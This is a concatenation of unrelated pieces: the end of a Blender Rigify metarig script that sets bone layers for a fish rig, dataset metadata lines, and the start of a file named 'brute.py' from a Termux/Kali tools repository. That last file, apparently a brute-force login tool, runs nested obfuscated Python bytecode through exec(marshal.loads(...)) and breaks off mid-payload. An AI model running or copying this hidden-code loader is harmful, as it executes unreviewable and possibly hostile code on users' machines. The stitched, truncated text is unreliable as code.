'QUATERNION' pbone.bone.layers = [False, False, False, False, False, False, False, False, False, False, True, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False] try: pbone.rigify_parameters.tweak_layers = [False, False, False, False, False, False, False, True, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False] except AttributeError: pass try: pbone.rigify_parameters.primary_rotation_axis = "Z" except AttributeError: pass pbone = obj.pose.bones[bones['spine.002']] pbone.rigify_type = '' pbone.lock_location = (False, False, False) pbone.lock_rotation = (False, False, False) pbone.lock_rotation_w = False pbone.lock_scale = (False, False, False) pbone.rotation_mode = 'QUATERNION' pbone.bone.layers = [False, False, False, False, False, True, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False] pbone = obj.pose.bones[bones['mid_fin.Top']] pbone.rigify_type = '' pbone.lock_location = (False, False, False) pbone.lock_rotation = (False, False, False) pbone.lock_rotation_w = False pbone.lock_scale = (False, False, False) pbone.rotation_mode = 'QUATERNION' pbone.bone.layers = [False, False, False, False, False, False, False, False, False, False, True, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False] pbone = obj.pose.bones[bones['mid_fin.Bot']] pbone.rigify_type = '' pbone.lock_location = (False, False, False) pbone.lock_rotation = (False, False, False) pbone.lock_rotation_w = False pbone.lock_scale = (False, False, False) pbone.rotation_mode = 'QUATERNION' pbone.bone.layers = [False, False, False, False, False, False, True, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False] pbone = obj.pose.bones[bones['back_fin.T.001.Bk']] pbone.rigify_type = '' pbone.lock_location = (False, False, False) pbone.lock_rotation = (False, False, False) pbone.lock_rotation_w = False pbone.lock_scale = (False, False, False) pbone.rotation_mode = 'QUATERNION' pbone.bone.layers = [False, False, False, False, False, False, False, False, False, False, True, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False] pbone = obj.pose.bones[bones['back_fin.B.001.Bk']] pbone.rigify_type = '' pbone.lock_location = (False, False, False) pbone.lock_rotation = (False, False, False) pbone.lock_rotation_w = False pbone.lock_scale = (False, False, False) pbone.rotation_mode = 'QUATERNION' pbone.bone.layers = [False, False, False, False, False, False, False, False, False, False, True, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False] pbone = obj.pose.bones[bones['spine.003']] pbone.rigify_type = '' pbone.lock_location = (False, False, False) pbone.lock_rotation = (False, False, False) pbone.lock_rotation_w = False pbone.lock_scale = (False, False, False) pbone.rotation_mode = 'QUATERNION' pbone.bone.layers = [False, False, False, True, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False] pbone = obj.pose.bones[bones['back_fin.T.002.Bk']] pbone.rigify_type = '' pbone.lock_location = (False, False, False) pbone.lock_rotation = (False, False, False) pbone.lock_rotation_w = False pbone.lock_scale = (False, False, False) pbone.rotation_mode = 'QUATERNION' pbone.bone.layers = [False, False, False, False, False, False, False, False, False, False, True, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False] pbone = obj.pose.bones[bones['spine.008']] pbone.rigify_type = '' pbone.lock_location = (False, False, False) pbone.lock_rotation = (False, False, False) pbone.lock_rotation_w = False pbone.lock_scale = (False, False, False) pbone.rotation_mode = 'QUATERNION' pbone.bone.layers = [False, False, False, True, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False] pbone = obj.pose.bones[bones['spine.004']] pbone.rigify_type = '' pbone.lock_location = (False, False, False) pbone.lock_rotation = (False, False, False) pbone.lock_rotation_w = False pbone.lock_scale = (False, False, False) pbone.rotation_mode = 'QUATERNION' pbone.bone.layers = [False, False, False, True, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False] pbone = obj.pose.bones[bones['chest_fin.Bot.L']] pbone.rigify_type = 'basic.super_copy' pbone.lock_location = (False, False, False) pbone.lock_rotation = (False, False, False) pbone.lock_rotation_w = False pbone.lock_scale = (False, False, False) pbone.rotation_mode = 'QUATERNION' pbone.bone.layers = [False, False, False, False, False, False, False, False, False, False, True, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False] try: pbone.rigify_parameters.tweak_layers = [False, False, False, False, True, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False] except AttributeError: pass pbone = obj.pose.bones[bones['chest_fin.Bot.R']] pbone.rigify_type = 'basic.super_copy' pbone.lock_location = (False, False, False) pbone.lock_rotation = (False, False, False) pbone.lock_rotation_w = False pbone.lock_scale = (False, False, False) pbone.rotation_mode = 'QUATERNION' pbone.bone.layers = [False, False, False, False, False, False, False, False, False, False, True, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False] try: pbone.rigify_parameters.tweak_layers = [False, False, False, False, False, True, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False] except AttributeError: pass pbone = obj.pose.bones[bones['spine.005']] pbone.rigify_type = '' pbone.lock_location = (False, False, False) pbone.lock_rotation = (False, False, False) pbone.lock_rotation_w = False pbone.lock_scale = (False, False, False) pbone.rotation_mode = 'QUATERNION' pbone.bone.layers = [False, False, False, True, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False] pbone = obj.pose.bones[bones['top_fin']] pbone.rigify_type = 'limbs.simple_tentacle' pbone.lock_location = (False, False, False) pbone.lock_rotation = (False, False, False) pbone.lock_rotation_w = False pbone.lock_scale = (False, False, False) pbone.rotation_mode = 'QUATERNION' pbone.bone.layers = [False, False, False, False, False, False, False, False, False, False, True, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False] try: pbone.rigify_parameters.tweak_layers = [False, False, False, False, False, False, False, False, False, False, False, True, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False] except AttributeError: pass pbone = obj.pose.bones[bones['spine.006']] pbone.rigify_type = '' pbone.lock_location = (False, False, False) pbone.lock_rotation = (False, False, False) pbone.lock_rotation_w = False pbone.lock_scale = (False, False, False) pbone.rotation_mode = 'QUATERNION' pbone.bone.layers = [False, False, False, True, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False] pbone = obj.pose.bones[bones['shoulder.L']] pbone.rigify_type = 'basic.super_copy' pbone.lock_location = (False, False, False) pbone.lock_rotation = (False, False, False) pbone.lock_rotation_w = False pbone.lock_scale = (False, False, False) pbone.rotation_mode = 'QUATERNION' pbone.bone.layers = [False, False, False, True, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False] try: pbone.rigify_parameters.make_widget = False except AttributeError: pass pbone = obj.pose.bones[bones['shoulder.R']] pbone.rigify_type = 'basic.super_copy' pbone.lock_location = (False, False, False) pbone.lock_rotation = (False, False, False) pbone.lock_rotation_w = False pbone.lock_scale = (False, False, False) pbone.rotation_mode = 'QUATERNION' pbone.bone.layers = [False, False, False, True, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False] try: pbone.rigify_parameters.make_widget = False except AttributeError: pass pbone = obj.pose.bones[bones['top_fin.001']] pbone.rigify_type = '' pbone.lock_location = (False, False, False) pbone.lock_rotation = (False, False, False) pbone.lock_rotation_w = False pbone.lock_scale = (False, False, False) pbone.rotation_mode = 'QUATERNION' pbone.bone.layers = [False, False, False, False, False, False, False, False, False, False, True, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False] pbone = obj.pose.bones[bones['spine.007']] pbone.rigify_type = '' pbone.lock_location = (False, False, False) pbone.lock_rotation = (False, False, False) pbone.lock_rotation_w = False pbone.lock_scale = (False, False, False) pbone.rotation_mode = 'QUATERNION' pbone.bone.layers = [False, False, False, True, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False] pbone = obj.pose.bones[bones['side_fin.L']] pbone.rigify_type = 'limbs.simple_tentacle' pbone.lock_location = (False, False, False) pbone.lock_rotation = (False, False, False) pbone.lock_rotation_w = False pbone.lock_scale = (False, False, False) pbone.rotation_mode = 'QUATERNION' pbone.bone.layers = [False, False, False, False, False, False, True, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False] try: pbone.rigify_parameters.tweak_layers = [False, False, False, False, False, False, False, True, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False] except AttributeError: pass try: pbone.rigify_parameters.copy_rotation_axes = [True, False, False] except AttributeError: pass pbone = obj.pose.bones[bones['side_fin.R']] pbone.rigify_type = 'limbs.simple_tentacle' pbone.lock_location = (False, False, False) pbone.lock_rotation = (False, False, False) pbone.lock_rotation_w = False pbone.lock_scale = (False, False, False) pbone.rotation_mode = 'QUATERNION' pbone.bone.layers = [False, False, False, False, False, False, False, False, True, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False] try: pbone.rigify_parameters.tweak_layers = [False, False, False, False, False, False, False, False, False, True, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False] except AttributeError: pass try: pbone.rigify_parameters.copy_rotation_axes = [True, False, False] except AttributeError: pass pbone = obj.pose.bones[bones['eye.L']] pbone.rigify_type = 'basic.super_copy' pbone.lock_location = (False, False, False) pbone.lock_rotation = (False, False, False) pbone.lock_rotation_w = False pbone.lock_scale = (False, False, False) pbone.rotation_mode = 'QUATERNION' pbone.bone.layers = [True, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False] pbone = obj.pose.bones[bones['eye.R']] pbone.rigify_type = 'basic.super_copy' pbone.lock_location = (False, False, False) pbone.lock_rotation = (False, False, False) pbone.lock_rotation_w = False pbone.lock_scale = (False, False, False) pbone.rotation_mode = 'QUATERNION' pbone.bone.layers = [True, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False] pbone = obj.pose.bones[bones['jaw.master']] pbone.rigify_type = 'basic.super_copy' pbone.lock_location = (False, False, False) pbone.lock_rotation = (False, False, False) pbone.lock_rotation_w = False pbone.lock_scale = (False, False, False) pbone.rotation_mode = 'QUATERNION' pbone.bone.layers = [True, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False] try: pbone.rigify_parameters.make_widget = False except AttributeError: pass try: pbone.rigify_parameters.make_deform = False except AttributeError: pass pbone = obj.pose.bones[bones['side_fin.L.001']] pbone.rigify_type = '' pbone.lock_location = (False, False, False) pbone.lock_rotation = (False, False, False) pbone.lock_rotation_w = False pbone.lock_scale = (False, False, False) pbone.rotation_mode = 'QUATERNION' pbone.bone.layers = [False, False, False, False, False, False, True, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False] pbone = obj.pose.bones[bones['side_fin.R.001']] pbone.rigify_type = '' pbone.lock_location = (False, False, False) pbone.lock_rotation = (False, False, False) pbone.lock_rotation_w = False pbone.lock_scale = (False, False, False) pbone.rotation_mode = 'QUATERNION' pbone.bone.layers = [False, False, False, False, False, False, False, False, True, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False] pbone = obj.pose.bones[bones['jaw']] pbone.rigify_type = 'limbs.simple_tentacle' pbone.lock_location = (False, False, False) pbone.lock_rotation = (False, False, False) pbone.lock_rotation_w = False pbone.lock_scale = (False, False, False) pbone.rotation_mode = 'QUATERNION' pbone.bone.layers = [True, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False] pbone = obj.pose.bones[bones['jaw.002.L']] pbone.rigify_type = 'limbs.simple_tentacle' pbone.lock_location = (False, False, False) pbone.lock_rotation = (False, False, False) pbone.lock_rotation_w = False pbone.lock_scale = (False, False, False) pbone.rotation_mode = 'QUATERNION' pbone.bone.layers = [True, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False] pbone = obj.pose.bones[bones['jaw.002.R']] pbone.rigify_type = 'limbs.simple_tentacle' pbone.lock_location = (False, False, False) pbone.lock_rotation = (False, False, False) pbone.lock_rotation_w = False pbone.lock_scale = (False, False, False) pbone.rotation_mode = 'QUATERNION' pbone.bone.layers = [True, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False] pbone = obj.pose.bones[bones['jaw.001']] pbone.rigify_type = '' pbone.lock_location = (False, False, False) pbone.lock_rotation = (False, False, False) pbone.lock_rotation_w = False pbone.lock_scale = (False, False, False) pbone.rotation_mode = 'QUATERNION' pbone.bone.layers = [True, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False] pbone = obj.pose.bones[bones['jaw.003.L']] pbone.rigify_type = '' pbone.lock_location = (False, False, False) pbone.lock_rotation = (False, False, False) pbone.lock_rotation_w = False pbone.lock_scale = (False, False, False) pbone.rotation_mode = 'QUATERNION' pbone.bone.layers = [True, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False] pbone = obj.pose.bones[bones['jaw.003.R']] pbone.rigify_type = '' pbone.lock_location = (False, False, False) pbone.lock_rotation = (False, False, False) pbone.lock_rotation_w = False pbone.lock_scale = (False, False, False) pbone.rotation_mode = 'QUATERNION' pbone.bone.layers = [True, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False] bpy.ops.object.mode_set(mode='EDIT') for bone in arm.edit_bones: bone.select = False bone.select_head = False bone.select_tail = False for b in bones: bone = arm.edit_bones[bones[b]] bone.select = True bone.select_head = True bone.select_tail = True arm.edit_bones.active = bone arm.layers = [(x in [0, 3, 5, 6, 8, 10]) for x in range(32)] if __name__ == "__main__": create(bpy.context.active_object)

49.948363

270

0.666154

5,772

39,659

4.465696

0.045738

0.569522

0.747207

0.855059

0.9053

0.827359

0.81863

0.784645

0.769126

0.74709

0

0.073699

0.184347

39,659

794

271

49.948363

0.723136

0.000983

0

0.509628

1

0

0.055277

0.00318

0

1

0.001284

false

0.026958

0.002567

0

0.003851

0

null

1

0

1

0

null

0

10

dc54f784ef5cc755eddd0e0e2a8070e32303364b

136,173

py

Python

BEGUNDAL-main/brute.py

Zusyaku/Termux-And-Lali-Linux-V2

b1a1b0841d22d4bf2cc7932b72716d55f070871e

[ "Apache-2.0" ]

2

2021-11-17T03:35:03.000Z

2021-12-08T06:00:31.000Z

BEGUNDAL-main/brute.py

Zusyaku/Termux-And-Lali-Linux-V2

b1a1b0841d22d4bf2cc7932b72716d55f070871e

[ "Apache-2.0" ]

null

BEGUNDAL-main/brute.py

Zusyaku/Termux-And-Lali-Linux-V2

b1a1b0841d22d4bf2cc7932b72716d55f070871e

[ "Apache-2.0" ]

2

2021-11-05T18:07:48.000Z

2022-02-24T21:25:07.000Z

#encrypted by azim vau >_ #Try It :) import marshal exec(marshal.loads(b'\xe3\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00@\x00\x00\x00\xf3\t\x00\x00\x00d\x00Z\x00d\x01S\x00\t\xa9\x02s-\xcb\x00\x00\xe3\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00@\x00\x00\x00\xf3\t\x00\x00\x00d\x00Z\x00d\x01S\x00\t\xa9\x02s\xce\xca\x00\x00\xe3\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00@\x00\x00\x00\xf3\t\x00\x00\x00d\x00Z\x00d\x01S\x00\t\xa9\x02so\xca\x00\x00\xe3\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00@\x00\x00\x00\xf3\t\x00\x00\x00d\x00Z\x00d\x01S\x00\t\xa9\x02s\x10\xca\x00\x00\xe3\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00@\x00\x00\x00\xf3\t\x00\x00\x00d\x00Z\x00d\x01S\x00\t\xa9\x02s\xb1\xc9\x00\x00\xe3\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00@\x00\x00\x00\xf3\t\x00\x00\x00d\x00Z\x00d\x01S\x00\t\xa9\x02sR\xc9\x00\x00\xe3\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00@\x00\x00\x00\xf3\t\x00\x00\x00d\x00Z\x00d\x01S\x00\t\xa9\x02s\xf3\xc8\x00\x00\xe3\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00@\x00\x00\x00\xf3\t\x00\x00\x00d\x00Z\x00d\x01S\x00\t\xa9\x02s\x94\xc8\x00\x00\xe3\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00@\x00\x00\x00\xf3\t\x00\x00\x00d\x00Z\x00d\x01S\x00\t\xa9\x02s5\xc8\x00\x00\xe3\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00@\x00\x00\x00\xf3\t\x00\x00\x00d\x00Z\x00d\x01S\x00\t\xa9\x02s\xd6\xc7\x00\x00\xe3\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00@\x00\x00\x00\xf3\t\x00\x00\x00d\x00Z\x00d\x01S\x00\t\xa9\x02sw\xc7\x00\x00\xe3\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00@\x00\x00\x00\xf3\t\x00\x00\x00d\x00Z\x00d\x01S\x00\t\xa9\x02s\x18\xc7\x00\x00\xe3\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00@\x00\x00\x00\xf3\t\x00\x00\x00d\x00Z\x00d\x01S\x00\t\xa9\x02s\xb9\xc6\x00\x00\xe3\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00@\x00\x00\x00\xf3\t\x00\x00\x00d\x00Z\x00d\x01S\x00\t\xa9\x02sZ\xc6\x00\x00\xe3\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00@\x00\x00\x00\xf3\t\x00\x00\x00d\x00Z\x00d\x01S\x00\t\xa9\x02s\xfb\xc5\x00\x00\xe3\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00@\x00\x00\x00\xf3\t\x00\x00\x00d\x00Z\x00d\x01S\x00\t\xa9\x02s\x9c\xc5\x00\x00\xe3\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00@\x00\x00\x00\xf3\t\x00\x00\x00d\x00Z\x00d\x01S\x00\t\xa9\x02s=\xc5\x00\x00\xe3\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00@\x00\x00\x00\xf3\t\x00\x00\x00d\x00Z\x00d\x01S\x00\t\xa9\x02s\xde\xc4\x00\x00\xe3\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00@\x00\x00\x00\xf3\t\x00\x00\x00d\x00Z\x00d\x01S\x00\t\xa9\x02s\x7f\xc4\x00\x00\xe3\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00@\x00\x00\x00\xf3\t\x00\x00\x00d\x00Z\x00d\x01S\x00\t\xa9\x02s \xc4\x00\x00\xe3\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00@\x00\x00\x00\xf3\t\x00\x00\x00d\x00Z\x00d\x01S\x00\t\xa9\x02s\xc1\xc3\x00\x00\xe3\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00@\x00\x00\x00\xf3\t\x00\x00\x00d\x00Z\x00d\x01S\x00\t\xa9\x02sb\xc3\x00\x00\xe3\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00@\x00\x00\x00\xf3\t\x00\x00\x00d\x00Z\x00d\x01S\x00\t\xa9\x02s\x03\xc3\x00\x00\xe3\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00@\x00\x00\x00\xf3\t\x00\x00\x00d\x00Z\x00d\x01S\x00\t\xa9\x02s\xa4\xc2\x00\x00\xe3\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00@\x00\x00\x00\xf3\t\x00\x00\x00d\x00Z\x00d\x01S\x00\t\xa9\x02sE\xc2\x00\x00\xe3\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00@\x00\x00\x00\xf3\t\x00\x00\x00d\x00Z\x00d\x01S\x00\t\xa9\x02s\xe6\xc1\x00\x00\xe3\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00@\x00\x00\x00\xf3\t\x00\x00\x00d\x00Z\x00d\x01S\x00\t\xa9\x02s\x87\xc1\x00\x00\xe3\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00@\x00\x00\x00\xf3\t\x00\x00\x00d\x00Z\x00d\x01S\x00\t\xa9\x02s(\xc1\x00\x00\xe3\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00@\x00\x00\x00\xf3\t\x00\x00\x00d\x00Z\x00d\x01S\x00\t\xa9\x02s\xc9\xc0\x00\x00\xe3\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00@\x00\x00\x00\xf3\t\x00\x00\x00d\x00Z\x00d\x01S\x00\t\xa9\x02sj\xc0\x00\x00\xe3\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00@\x00\x00\x00\xf3\t\x00\x00\x00d\x00Z\x00d\x01S\x00\t\xa9\x02s\x0b\xc0\x00\x00\xe3\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00@\x00\x00\x00\xf3\t\x00\x00\x00d\x00Z\x00d\x01S\x00\t\xa9\x02s\xac\xbf\x00\x00\xe3\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00@\x00\x00\x00\xf3\t\x00\x00\x00d\x00Z\x00d\x01S\x00\t\xa9\x02sM\xbf\x00\x00\xe3\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00@\x00\x00\x00\xf3\t\x00\x00\x00d\x00Z\x00d\x01S\x00\t\xa9\x02s\xee\xbe\x00\x00\xe3\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00@\x00\x00\x00\xf3\t\x00\x00\x00d\x00Z\x00d\x01S\x00\t\xa9\x02s\x8f\xbe\x00\x00\xe3\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00@\x00\x00\x00\xf3\t\x00\x00\x00d\x00Z\x00d\x01S\x00\t\xa9\x02s0\xbe\x00\x00\xe3\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00@\x00\x00\x00\xf3\t\x00\x00\x00d\x00Z\x00d\x01S\x00\t\xa9\x02s\xd1\xbd\x00\x00\xe3\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00@\x00\x00\x00\xf3\t\x00\x00\x00d\x00Z\x00d\x01S\x00\t\xa9\x02sr\xbd\x00\x00\xe3\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00@\x00\x00\x00\xf3\t\x00\x00\x00d\x00Z\x00d\x01S\x00\t\xa9\x02s\x13\xbd\x00\x00\xe3\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00@\x00\x00\x00\xf3\t\x00\x00\x00d\x00Z\x00d\x01S\x00\t\xa9\x02s\xb4\xbc\x00\x00\xe3\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00@\x00\x00\x00\xf3\t\x00\x00\x00d\x00Z\x00d\x01S\x00\t\xa9\x02sU\xbc\x00\x00\xe3\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00@\x00\x00\x00\xf3\t\x00\x00\x00d\x00Z\x00d\x01S\x00\t\xa9\x02s\xf6\xbb\x00\x00\xe3\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00@\x00\x00\x00\xf3\t\x00\x00\x00d\x00Z\x00d\x01S\x00\t\xa9\x02s\x97\xbb\x00\x00\xe3\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00@\x00\x00\x00\xf3\t\x00\x00\x00d\x00Z\x00d\x01S\x00\t\xa9\x02s8\xbb\x00\x00\xe3\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00@\x00\x00\x00\xf3\t\x00\x00\x00d\x00Z\x00d\x01S\x00\t\xa9\x02s\xd9\xba\x00\x00\xe3\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00@\x00\x00\x00\xf3\t\x00\x00\x00d\x00Z\x00d\x01S\x00\t\xa9\x02sz\xba\x00\x00\xe3\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00@\x00\x00\x00\xf3\t\x00\x00\x00d\x00Z\x00d\x01S\x00\t\xa9\x02s\x1b\xba\x00\x00\xe3\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00@\x00\x00\x00\xf3\t\x00\x00\x00d\x00Z\x00d\x01S\x00\t\xa9\x02s\xbc\xb9\x00\x00\xe3\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00@\x00\x00\x00\xf3\t\x00\x00\x00d\x00Z\x00d\x01S\x00\t\xa9\x02s]\xb9\x00\x00\xe3\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00@\x00\x00\x00\xf3\t\x00\x00\x00d\x00Z\x00d\x01S\x00\t\xa9\x02s\xfe\xb8\x00\x00\xe3\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00@\x00\x00\x00\xf3\t\x00\x00\x00d\x00Z\x00d\x01S\x00\t\xa9\x02s\x9f\xb8\x00\x00\xe3\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00@\x00\x00\x00\xf3\t\x00\x00\x00d\x00Z\x00d\x01S\x00\t\xa9\x02s@\xb8\x00\x00\xe3\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00@\x00\x00\x00\xf3\t\x00\x00\x00d\x00Z\x00d\x01S\x00\t\xa9\x02s\xe1\xb7\x00\x00\xe3\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00@\x00\x00\x00\xf3\t\x00\x00\x00d\x00Z\x00d\x01S\x00\t\xa9\x02s\x82\xb7\x00\x00\xe3\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00@\x00\x00\x00\xf3\t\x00\x00\x00d\x00Z\x00d\x01S\x00\t\xa9\x02s#\xb7\x00\x00\xe3\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00@\x00\x00\x00\xf3